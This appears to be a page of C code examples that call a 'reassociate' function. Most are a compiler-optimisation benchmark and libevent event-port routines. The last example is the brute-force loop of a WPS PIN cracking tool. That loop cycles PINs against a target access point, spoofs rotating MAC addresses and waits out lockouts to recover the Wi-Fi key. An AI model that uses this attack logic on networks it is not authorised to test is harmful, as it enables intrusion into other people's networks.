Exemplo n.º 1
0
int main(){
    struct timeval start_time, end_time;
    gettimeofday(&start_time, NULL);
    long int n = 10000;
    int a = 1, b = 1, temp;
    int dead_arr[100][100];

    for (long int i = 0; i < n; i++) { 
        struct foo f; //dead code
        for (int j = 0; j*j < 100*100; j++){//Loop Strength Reduction
            b = 131683%29*1613895%129*76; //Dead code
            for (int k = 0; k*k <100*100; k++){ //Loop Strength Reduction
                b = 10; //Constant propagation makes this dead code
                a = 131683%29*1613895%129*76; // a loop invariant and is dead here
                a = b + 10;
                b = reassociate(a, b, f.m); //Only the very last b in the loop is not dead
                a = j*4 + b;//Loop Strength Reduction
                b = k*8;//Loop Strength Reduction
                temp =use_var(a, b);
                dead_arr[j][k] = a + b; //dead code
            }
        }
    }

    gettimeofday(&end_time, NULL);
    time_t elasped_time_usec = (end_time.tv_sec*1e6 + end_time.tv_usec) - (start_time.tv_sec *1e6 + start_time.tv_usec);
    printf("Temp variable: %d\n", temp);
    printf("Run time: %lu microseconds\n", elasped_time_usec);
    return 0;
}
Exemplo n.º 2
0
static int
evport_add(struct event_base *base, int fd, short old, short events, void *p)
{
	struct evport_data *evpd = base->evbase;
	struct fd_info *fdi;
	int factor;
	(void)p;

	check_evportop(evpd);

	/*
	 * If necessary, grow the file descriptor info table
	 */

	factor = 1;
	while (fd >= factor * evpd->ed_nevents)
		factor *= 2;

	if (factor > 1) {
		if (-1 == grow(evpd, factor)) {
			return (-1);
		}
	}

	fdi = &evpd->ed_fds[fd];
	fdi->fdi_what |= events;

	return reassociate(evpd, fdi, fd);
}
Exemplo n.º 3
0
static int
evport_add(struct event_base *base, int fd, short old, short events, void *p)
{
	struct evport_data *evpd = base->evbase;
	struct fd_info *fdi = p;

	check_evportop(evpd);

	fdi->fdi_what |= events;

	return reassociate(evpd, fdi, fd);
}
Exemplo n.º 4
0
static int
evport_del(struct event_base *base, int fd, short old, short events, void *p)
{
	struct evport_data *evpd = base->evbase;
	struct fd_info *fdi;
	int i;
	int associated = 1;
	(void)p;

	check_evportop(evpd);

	if (evpd->ed_nevents < fd) {
		return (-1);
	}

	for (i = 0; i < EVENTS_PER_GETN; ++i) {
		if (evpd->ed_pending[i] == fd) {
			associated = 0;
			break;
		}
	}

	fdi = &evpd->ed_fds[fd];
	if (events & EV_READ)
		fdi->fdi_what &= ~EV_READ;
	if (events & EV_WRITE)
		fdi->fdi_what &= ~EV_WRITE;

	if (associated) {
		if (!FDI_HAS_EVENTS(fdi) &&
		    port_dissociate(evpd->ed_port, PORT_SOURCE_FD, fd) == -1) {
			/*
			 * Ignore EBADFD error the fd could have been closed
			 * before event_del() was called.
			 */
			if (errno != EBADFD) {
				event_warn("port_dissociate");
				return (-1);
			}
		} else {
			if (FDI_HAS_EVENTS(fdi)) {
				return (reassociate(evpd, fdi, fd));
			}
		}
	} else {
		if ((fdi->fdi_what & (EV_READ|EV_WRITE)) == 0) {
			evpd->ed_pending[i] = -1;
		}
	}
	return 0;
}
Exemplo n.º 5
0
static int
evport_add (void *arg, struct event *ev)
{

  struct evport_data *evpd = arg;

  struct fd_info *fdi;
  int factor;

  check_evportop (evpd);

  /*
   * Delegate, if it's not ours to handle.
   */

  if (ev->ev_events & EV_SIGNAL)
    return (evsignal_add (ev) );

  /*
   * If necessary, grow the file descriptor info table
   */

  factor = 1;

  while (ev->ev_fd >= factor * evpd->ed_nevents)
    factor *= 2;

  if (factor > 1)
    {
      if (-1 == grow (evpd, factor) )
        {
          return (-1);
        }
    }

  fdi = &evpd->ed_fds[ev->ev_fd];

  if (ev->ev_events & EV_READ)
    fdi->fdi_revt = ev;

  if (ev->ev_events & EV_WRITE)
    fdi->fdi_wevt = ev;

  return reassociate (evpd, fdi, ev->ev_fd);
}
Exemplo n.º 6
0
static int
evport_del(struct event_base *base, int fd, short old, short events, void *p)
{
	struct evport_data *evpd = base->evbase;
	struct fd_info *fdi = p;
	int associated = ! fdi->pending_idx_plus_1;

	check_evportop(evpd);

	fdi->fdi_what &= ~(events &(EV_READ|EV_WRITE));

	if (associated) {
		if (!FDI_HAS_EVENTS(fdi) &&
		    port_dissociate(evpd->ed_port, PORT_SOURCE_FD, fd) == -1) {
			/*
			 * Ignore EBADFD error the fd could have been closed
			 * before event_del() was called.
			 */
			if (errno != EBADFD) {
				event_warn("port_dissociate");
				return (-1);
			}
		} else {
			if (FDI_HAS_EVENTS(fdi)) {
				return (reassociate(evpd, fdi, fd));
			}
		}
	} else {
		if ((fdi->fdi_what & (EV_READ|EV_WRITE)) == 0) {
			const int i = fdi->pending_idx_plus_1 - 1;
			EVUTIL_ASSERT(evpd->ed_pending[i] == fd);
			evpd->ed_pending[i] = -1;
			fdi->pending_idx_plus_1 = 0;
		}
	}
	return 0;
}
Exemplo n.º 7
0
static int
evport_dispatch(struct event_base *base, struct timeval *tv)
{
	int i, res;
	struct evport_data *epdp = base->evbase;
	port_event_t pevtlist[EVENTS_PER_GETN];

	/*
	 * port_getn will block until it has at least nevents events. It will
	 * also return how many it's given us (which may be more than we asked
	 * for, as long as it's less than our maximum (EVENTS_PER_GETN)) in
	 * nevents.
	 */
	int nevents = 1;

	/*
	 * We have to convert a struct timeval to a struct timespec
	 * (only difference is nanoseconds vs. microseconds). If no time-based
	 * events are active, we should wait for I/O (and tv == NULL).
	 */
	struct timespec ts;
	struct timespec *ts_p = NULL;
	if (tv != NULL) {
		ts.tv_sec = tv->tv_sec;
		ts.tv_nsec = tv->tv_usec * 1000;
		ts_p = &ts;
	}

	/*
	 * Before doing anything else, we need to reassociate the events we hit
	 * last time which need reassociation. See comment at the end of the
	 * loop below.
	 */
	for (i = 0; i < EVENTS_PER_GETN; ++i) {
		struct fd_info *fdi = NULL;
		if (epdp->ed_pending[i] != -1) {
			fdi = &(epdp->ed_fds[epdp->ed_pending[i]]);
		}

		if (fdi != NULL && FDI_HAS_EVENTS(fdi)) {
			int fd = epdp->ed_pending[i];
			reassociate(epdp, fdi, fd);
			epdp->ed_pending[i] = -1;
		}
	}

	EVBASE_RELEASE_LOCK(base, th_base_lock);

	res = port_getn(epdp->ed_port, pevtlist, EVENTS_PER_GETN,
	    (unsigned int *) &nevents, ts_p);

	EVBASE_ACQUIRE_LOCK(base, th_base_lock);

	if (res == -1) {
		if (errno == EINTR || errno == EAGAIN) {
			return (0);
		} else if (errno == ETIME) {
			if (nevents == 0)
				return (0);
		} else {
			event_warn("port_getn");
			return (-1);
		}
	}

	event_debug(("%s: port_getn reports %d events", __func__, nevents));

	for (i = 0; i < nevents; ++i) {
		struct fd_info *fdi;
		port_event_t *pevt = &pevtlist[i];
		int fd = (int) pevt->portev_object;

		check_evportop(epdp);
		check_event(pevt);
		epdp->ed_pending[i] = fd;

		/*
		 * Figure out what kind of event it was
		 * (because we have to pass this to the callback)
		 */
		res = 0;
		if (pevt->portev_events & (POLLERR|POLLHUP)) {
			res = EV_READ | EV_WRITE;
		} else {
			if (pevt->portev_events & POLLIN)
				res |= EV_READ;
			if (pevt->portev_events & POLLOUT)
				res |= EV_WRITE;
		}

		/*
		 * Check for the error situations or a hangup situation
		 */
		if (pevt->portev_events & (POLLERR|POLLHUP|POLLNVAL))
			res |= EV_READ|EV_WRITE;

		EVUTIL_ASSERT(epdp->ed_nevents > fd);
		fdi = &(epdp->ed_fds[fd]);

		evmap_io_active(base, fd, res);
	} /* end of all events gotten */

	check_evportop(epdp);

	return (0);
}
Exemplo n.º 8
0
static int
evport_del (void *arg, struct event *ev)
{

  struct evport_data *evpd = arg;

  struct fd_info *fdi;
  int i;
  int associated = 1;

  check_evportop (evpd);

  /*
   * Delegate, if it's not ours to handle
   */

  if (ev->ev_events & EV_SIGNAL)
    {
      return (evsignal_del (ev) );
    }

  if (evpd->ed_nevents < ev->ev_fd)
    {
      return (-1);
    }

  for (i = 0; i < EVENTS_PER_GETN; ++i)
    {
      if (evpd->ed_pending[i] == ev->ev_fd)
        {
          associated = 0;
          break;
        }
    }

  fdi = &evpd->ed_fds[ev->ev_fd];

  if (ev->ev_events & EV_READ)
    fdi->fdi_revt = NULL;

  if (ev->ev_events & EV_WRITE)
    fdi->fdi_wevt = NULL;

  if (associated)
    {
      if (!FDI_HAS_EVENTS (fdi) &&
              port_dissociate (evpd->ed_port, PORT_SOURCE_FD,
                               ev->ev_fd) == -1)
        {
          /*
           * Ignre EBADFD error the fd could have been closed
           * before event_del() was called.
           */
          if (errno != EBADFD)
            {
              event_warn ("port_dissociate");
              return (-1);
            }
        }

      else
        {
          if (FDI_HAS_EVENTS (fdi) )
            {
              return (reassociate (evpd, fdi, ev->ev_fd) );
            }
        }
    }

  else
    {
      if (fdi->fdi_revt == NULL && fdi->fdi_wevt == NULL)
        {
          evpd->ed_pending[i] = -1;
        }
    }

  return 0;
}
Exemplo n.º 9
0
static int
evport_dispatch (struct event_base *base, void *arg, struct timeval *tv)
{
  int i, res;

  struct evport_data *epdp = arg;
  port_event_t pevtlist[EVENTS_PER_GETN];

  /*
   * port_getn will block until it has at least nevents events. It will
   * also return how many it's given us (which may be more than we asked
   * for, as long as it's less than our maximum (EVENTS_PER_GETN)) in
   * nevents.
   */
  int nevents = 1;

  /*
   * We have to convert a struct timeval to a struct timespec
   * (only difference is nanoseconds vs. microseconds). If no time-based
   * events are active, we should wait for I/O (and tv == NULL).
   */

  struct timespec ts;

  struct timespec *ts_p = NULL;

  if (tv != NULL)
    {
      ts.tv_sec = tv->tv_sec;
      ts.tv_nsec = tv->tv_usec * 1000;
      ts_p = &ts;
    }

  /*
   * Before doing anything else, we need to reassociate the events we hit
   * last time which need reassociation. See comment at the end of the
   * loop below.
   */

  for (i = 0; i < EVENTS_PER_GETN; ++i)
    {

      struct fd_info *fdi = NULL;

      if (epdp->ed_pending[i] != -1)
        {
          fdi = & (epdp->ed_fds[epdp->ed_pending[i]]);
        }

      if (fdi != NULL && FDI_HAS_EVENTS (fdi) )
        {
          int fd = FDI_HAS_READ (fdi) ? fdi->fdi_revt->ev_fd :
                   fdi->fdi_wevt->ev_fd;
          reassociate (epdp, fdi, fd);
          epdp->ed_pending[i] = -1;
        }
    }

  if ( (res = port_getn (epdp->ed_port, pevtlist, EVENTS_PER_GETN,
                         (unsigned int *) & nevents, ts_p) ) == -1)
    {
      if (errno == EINTR || errno == EAGAIN)
        {
          evsignal_process (base);
          return (0);
        }

      else if (errno == ETIME)
        {
          if (nevents == 0)
            return (0);
        }

      else
        {
          event_warn ("port_getn");
          return (-1);
        }
    }

  else if (base->sig.evsignal_caught)
    {
      evsignal_process (base);
    }

  event_debug ( ("%s: port_getn reports %d events", __func__, nevents) );

  for (i = 0; i < nevents; ++i)
    {

      struct event *ev;

      struct fd_info *fdi;
      port_event_t *pevt = &pevtlist[i];
      int fd = (int) pevt->portev_object;

      check_evportop (epdp);
      check_event (pevt);
      epdp->ed_pending[i] = fd;

      /*
       * Figure out what kind of event it was
       * (because we have to pass this to the callback)
       */
      res = 0;

      if (pevt->portev_events & POLLIN)
        res |= EV_READ;

      if (pevt->portev_events & POLLOUT)
        res |= EV_WRITE;

      assert (epdp->ed_nevents > fd);

      fdi = & (epdp->ed_fds[fd]);

      /*
       * We now check for each of the possible events (READ
       * or WRITE).  Then, we activate the event (which will
       * cause its callback to be executed).
       */

      if ( (res & EV_READ) && ( (ev = fdi->fdi_revt) != NULL) )
        {
          event_active (ev, res, 1);
        }

      if ( (res & EV_WRITE) && ( (ev = fdi->fdi_wevt) != NULL) )
        {
          event_active (ev, res, 1);
        }
    } /* end of all events gotten */

  check_evportop (epdp);

  return (0);
}
Exemplo n.º 10
0
/* Brute force all possible WPS pins for a given access point */
void crack()
{
    unsigned char *bssid = NULL;
    char *pin = NULL;
    int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0;
    float pin_count = 0;
    time_t start_time = 0;
    enum wps_result result = 0;
    /* MAC CHANGER VARIABLES */
    int mac_changer_counter = 0;
    char mac[MAC_ADDR_LEN] = { 0 };
    unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ";
    unsigned char* new_mac = &mac_string[0];
    char last_digit = '0';

    if(!get_iface())
    {
        return;
    }

    if(get_max_pin_attempts() == -1)
    {
        cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
        return;
    }

    /* Initialize network interface */
    set_handle(capture_init(get_iface()));

    if(get_handle() != NULL)
    {
        generate_pins();

        /* Restore any previously saved session */
        if(get_static_p1() == NULL)
        {
            restore_session();
        }

        /* Convert BSSID to a string */
        bssid = mac2str(get_bssid(), ':');

        /*
         * We need to get some basic info from the AP, and also want to make sure the target AP
         * actually exists, so wait for a beacon packet
         */
        cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
        read_ap_beacon();
        process_auto_options();

        /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
        if(get_max_pin_attempts() == -1)
        {
            cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
            return;
        }

        /* This initial association is just to make sure we can successfully associate */
        while(!reassociate())
        {
            if(assoc_fail_count == MAX_ASSOC_FAILURES)
            {
                assoc_fail_count = 0;
                cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
            }
            else
            {
                assoc_fail_count++;
            }
        }
        cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());

        /* Used to calculate pin attempt rates */
        start_time = time(NULL);

        /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
        if(get_key_status() <= KEY1_WIP)
        {
            set_key_status(KEY1_WIP);
        }
        /*
         * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
         * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
         */
        else if(get_key_status() == KEY_DONE)
        {
            set_key_status(KEY2_WIP);
        }

        //copy the current mac to the new_mac variable for mac changer
        if (get_mac_changer() == 1) {
            strncpy(new_mac, mac2str(get_mac(), ':'), 16);
        }

        /* Main cracking loop */
        for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
        {
            //MAC Changer switch/case to define the last mac address digit
            if (get_mac_changer() == 1) {
                switch (mac_changer_counter) {
                case 0:
                    last_digit = '0';
                    break;
                case 1:
                    last_digit = '1';
                    break;
                case 2:
                    last_digit = '2';
                    break;
                case 3:
                    last_digit = '3';
                    break;
                case 4:
                    last_digit = '4';
                    break;
                case 5:
                    last_digit = '5';
                    break;
                case 6:
                    last_digit = '6';
                    break;
                case 7:
                    last_digit = '7';
                    break;
                case 8:
                    last_digit = '8';
                    break;
                case 9:
                    last_digit = '9';
                    break;
                case 10:
                    last_digit = 'A';
                    break;
                case 11:
                    last_digit = 'B';
                    break;
                case 12:
                    last_digit = 'C';
                    break;
                case 13:
                    last_digit = 'D';
                    break;
                case 14:
                    last_digit = 'E';
                    break;
                case 15:
                    last_digit = 'F';
                    mac_changer_counter = -1;
                    break;
                }

                mac_changer_counter++;

                new_mac[16] = last_digit;
                //transform the string to a MAC and define the MAC
                str2mac((unsigned char *) new_mac, (unsigned char *) &mac);
                set_mac((unsigned char *) &mac);

                cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':'));
            }

            /*
             * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
             * registrar requests. Using a delay here can help prevent the AP from locking us out.
             */
            pcap_sleep(get_delay());

            /* Users may specify a delay after x number of attempts */
            if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
            {
                cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
                pcap_sleep(get_recurring_delay());
                sleep_count = 0;
            }

            /*
             * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
             * Verify that the AP is not locked before attempting the next pin.
             */
            while(get_ignore_locks() == 0 && is_wps_locked())
            {
                cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
                pcap_sleep(get_lock_delay());

            }

            /* Initialize wps structure */
            set_wps(initialize_wps_data());
            if(!get_wps())
            {
                cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
                break;
            }

            /* Try the next pin in the list */
            pin = build_next_pin();
            if(!pin)
            {
                cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
                break;
            }
            else
            {
                cprintf(WARNING, "[+] Trying pin %s\n", pin);
            }

            /*
             * Reassociate with the AP before each WPS exchange. This is necessary as some APs will
             * severely limit our pin attempt rate if we do not.
             */
            assoc_fail_count = 0;
            while(!reassociate())
            {
                if(assoc_fail_count == MAX_ASSOC_FAILURES)
                {
                    assoc_fail_count = 0;
                    cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
                }
                else
                {
                    assoc_fail_count++;
                }
            }


            /*
             * Enter receive loop. This will block until a receive timeout occurs or a
             * WPS transaction has completed or failed.
             */
            result = do_wps_exchange();

            switch(result)
            {
            /*
             * If the last pin attempt was rejected, increment
             * the pin counter, clear the fail counter and move
             * on to the next pin.
             */
            case KEY_REJECTED:
                fail_count = 0;
                pin_count++;
                advance_pin_count();
                break;
            /* Got it!! */
            case KEY_ACCEPTED:
                break;
            /* Unexpected timeout or EAP failure...try this pin again */
            default:
                cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
                fail_count++;
                break;
            }

            /* If we've had an excessive number of message failures in a row, print a warning */
            if(fail_count == WARN_FAILURE_COUNT)
            {
                cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
                fail_count = 0;
                pcap_sleep(get_fail_delay());
            }

            /* Display status and save current session state every DISPLAY_PIN_COUNT loops */
            if(loop_count == DISPLAY_PIN_COUNT)
            {
                save_session();
                display_status(pin_count, start_time);
                loop_count = 0;
            }

            /*
             * The WPA key and other settings are stored in the globule->wps structure. If we've
             * recovered the WPS pin and parsed these settings, don't free this structure. It
             * will be freed by wpscrack_free() at the end of main().
             */
            if(get_key_status() != KEY_DONE)
            {
                wps_deinit(get_wps());
                set_wps(NULL);
            }
            /* If we have cracked the pin, save a copy */
            else
            {
                set_pin(pin);
            }
            free(pin);
            pin = NULL;

            /* If we've hit our max number of pin attempts, quit */
            if((get_max_pin_attempts() > 0) &&
                    (pin_count == get_max_pin_attempts()))
            {
                cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
                break;
            }
        }

        if(bssid) free(bssid);
        if(get_handle())
        {
            pcap_close(get_handle());
            set_handle(NULL);
        }
    }
    else
    {
        cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
    }
}